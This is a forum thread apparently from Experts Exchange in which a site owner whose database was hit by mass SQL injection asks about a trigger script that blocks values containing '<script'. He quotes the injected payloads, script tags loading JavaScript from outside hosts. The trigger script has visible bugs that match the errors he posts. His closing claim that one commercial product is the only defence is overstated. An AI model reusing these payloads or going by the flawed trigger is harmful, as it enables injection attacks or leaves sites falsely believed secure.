SQL Injection Antidote

Hi experts

in reference to the EE articlle 23639452
http://www.experts-exchange.com/Programming/Languages/SQL_Syntax/Q_23639452.html
ShekharVarshney wrote a trigger to restrict the SQL injection further on the data tables residing in the database.

The method to do was as given below:

BEGIN
DECLARE @tblInjectedTable TABLE (colTableName varchar(255))
DECLARE @tblInjectedColumn TABLE (colRecordID INT IDENTITY(1,1), colColumnName varchar(255))
DECLARE @tblTable varchar(255), @colColumnName varchar(255), @Cmd NVARCHAR(4000), @iCount SMALLINT, @iCountTo SMALLINT, @WhereCmd NVARCHAR(4000)
INSERT INTO @tblInjectedTable(colTableName)
SELECT DISTINCT a.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND b.length>99 AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167)
DECLARE curSQLInjectedTable CURSOR FOR
SELECT colTableName
FROM @tblInjectedTable
OPEN curSQLInjectedTable
FETCH NEXT FROM curSQLInjectedTable INTO @tblTable
WHILE (@@FETCH_STATUS = 0)
BEGIN
SET @iCount = 2
INSERT INTO @tblInjectedColumn(colColumnName)
SELECT DISTINCT b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.name = @tblTable AND a.xtype = 'u' AND b.length>99 AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167)
SELECT @iCountTo = COUNT(*) FROM @tblInjectedColumn
SELECT @colColumnName = colColumnName FROM @tblInjectedColumn WHERE colRecordID = 1
SET @WhereCmd = 'WHERE ins.[' + @colColumnName + '] LIKE ''%<script%'''
WHILE @iCount  <= @iCountTo
BEGIN
SELECT @colColumnName = colColumnName FROM @tblInjectedColumn WHERE colRecordID = @iCount
SET @WhereCmd = @WhereCmd + 'OR ins.[' + @colColumnName + '] LIKE ''%<script%'''
SET @iCount = @iCountTo + 1
END
SET @Cmd = 'CREATE TRIGGER t' + @tblTable + ' ON [' + @tblTable + '] FOR INSERT, UPDATE AS
BEGIN DECLARE @iCount BIGINT SET @iCount = 0 SELECT @iCount = COUNT(*) FROM inserted ins '
+ @WhereCmd + ' IF @iCount > 0 ROLLBACK TRANSACTION END'
exec sp_executesql @Cmd
FETCH NEXT FROM curSQLInjectedTable INTO @tblTable
END
CLOSE curSQLInjectedTable
DEALLOCATE curSQLInjectedTable
END


Ok, please correct if i am wrong, this script prevents sql injection from being inserted in the database or what exactly?

The second problem i have with this script when i type in Qyery analyser against in test database, i get the following error


(60 row(s) affected)


(3 row(s) affected)

Server: Msg 2714, Level 16, State 5, Procedure t_xLGConstValues, Line 65535
There is already an object named 't_xLGConstValues' in the database.

(3 row(s) affected)

Server: Msg 207, Level 16, State 3, Procedure taffiliatelog, Line 2
Invalid column name 'idXML'.
Server: Msg 207, Level 16, State 1, Procedure taffiliatelog, Line 2
Invalid column name 'ItemLabel'.

Thanks for ur assistance.



LVL 1
humer2000Asked:
Who is Participating?
 
Guy Hengel [angelIII / a3]Connect With a Mentor Billing EngineerCommented:
the script actually generates triggers against all the tables, and gives them a standard name.
it's those triggers trying to prevent the sql injection on the back end (ie in the database)

>Server: Msg 2714, Level 16, State 5, Procedure t_xLGConstValues, Line 65535
>There is already an object named 't_xLGConstValues' in the database.

that means that the script tries to create a trigger with a name, that name t_xLGConstValues being used already.


>Server: Msg 207, Level 16, State 3, Procedure taffiliatelog, Line 2
>Invalid column name 'idXML'.
>Server: Msg 207, Level 16, State 1, Procedure taffiliatelog, Line 2
>Invalid column name 'ItemLabel'.
not sure where those can come from.

0
 
dportasConnect With a Mentor Commented:
Triggers are a poor way to protect against SQL injection except maybe as an emergency measure when you first discover a vulnerability.

Better approaches include: avoid dynamic SQL; make sure your procs are parameterised properly; validate inputs and properly escape your outputs; use CAPTCHAS.
0
 
humer2000Author Commented:
I have secured all my ASP files
I also installed dotdefender
i blocked port 1433 over my firewall
eventhough a hacker is till able to inject sql in all fields of my tables, by puting scripts like <script src=http://jsani.cn></script>
Actually i am out of ideas and don't know what to do so if triggers can be considered as additional parameters, why not using them ?
0
2018 Annual Membership Survey

Here at Experts Exchange, we strive to give members the best experience. Help us improve the site by taking this survey today! (Bonus: Be entered to win a great tech prize for participating!)

 
humer2000Author Commented:
Hi Angel III
Thx for the explanation
can u give me please a step by step trigger installation
thx
0
 
devshbConnect With a Mentor Commented:
Take a look at:
http://www.sqlinjectionscanner.com/

They've got a free data scanner; you can use that to double-check if there's any injected data hanging around in the database.

Securing your code/database is obviously a good idea, but hackers will almost always find any vulnerabilities you might have, so it's a good idea to have a reliable full-scan tool available which is dedicated to the task of checking against injected data/xss attacks in the data.

ie click on the download free version of the "ASP SQL Injection Scanner Tool"
0
 
humer2000Author Commented:
ok i will test the scanner
I don't believe that injections i have are from my code
injections i have look like a stored procedure because hacker is able to inject <script src="http://www.hanrou.cn"></script> in varchar fields (> 50 characters) in almost all fields in my database in less than one minute !
0
 
devshbConnect With a Mentor Commented:
Remember that if the code is vulnerable to injections, then a hacker can easily use a function/procedure to change all columns in all tables in one shot (or automate a script on their side to achieve the same thing), so it is possible that they can effect all columns/tables in one shot without leaving behind a physical procedure in the database.

I agree with dportas though, his/her comments were spot-on I reckon.

Also have a look through the "resources" section on that http://www.sqlinjectionscanner.com/ site because there's lots of useful info there about different techniques/solutions etc.
0
 
humer2000Author Commented:
well devshb, i can agree with u if i found traces in IIS logs, but the problem is that there is no any injection trace in IIS logs, no traces in SQL logs, no traces in DotDefender logs neither.
so i really wonder how he did it
My last hope is to run sql profiler and trace all transactions, the problem with the profiler that i might see the injection, but it does not give the source or the file name used for the injection.
Do u have cool ideas on this ?
0
 
devshbConnect With a Mentor Commented:
If the data's being altered (as opposed to, say, physical files being effected), then it's more likely to be an injection/xss-attack via code vulnerabilities than a general virus being on your server (or on your pc) I think.

Hackers can hide the string from the logs by encoding it during the injection, so that when you look at the raw log files you often won't see any reference to the final injected value as the log files will hold only encoded values.

Some values might not be encoded; eg try looking for:
DECLARE
in your log files; almost everything else might be encoded and impossible to find, but usually the "DECLARE" part of an injection will be found in the log files. That's often the place to start because it'll help you track what files they've been using against you (ie which files they've found that are vulnerable).

So, searching for key sql commands/words such as "DECLARE" or "BEGIN" in the log files can often help point you in the right direction. You'd need to search for them in the raw log files though; searching through generated stats reports wouldn't be good enough.
0
 
humer2000Author Commented:
Hi
The only software that you can install on your windows server that blocks all types of SQL injection is Dot Defender. It cost 3.000 $ but it's worthy if you have critical applications hosted on your server.
0
 
humer2000Author Commented:
please consider my solution as an accepeted solution, because it reall the only and unique solution to prevent sql injection
0
All Courses

From novice to tech pro — start learning today.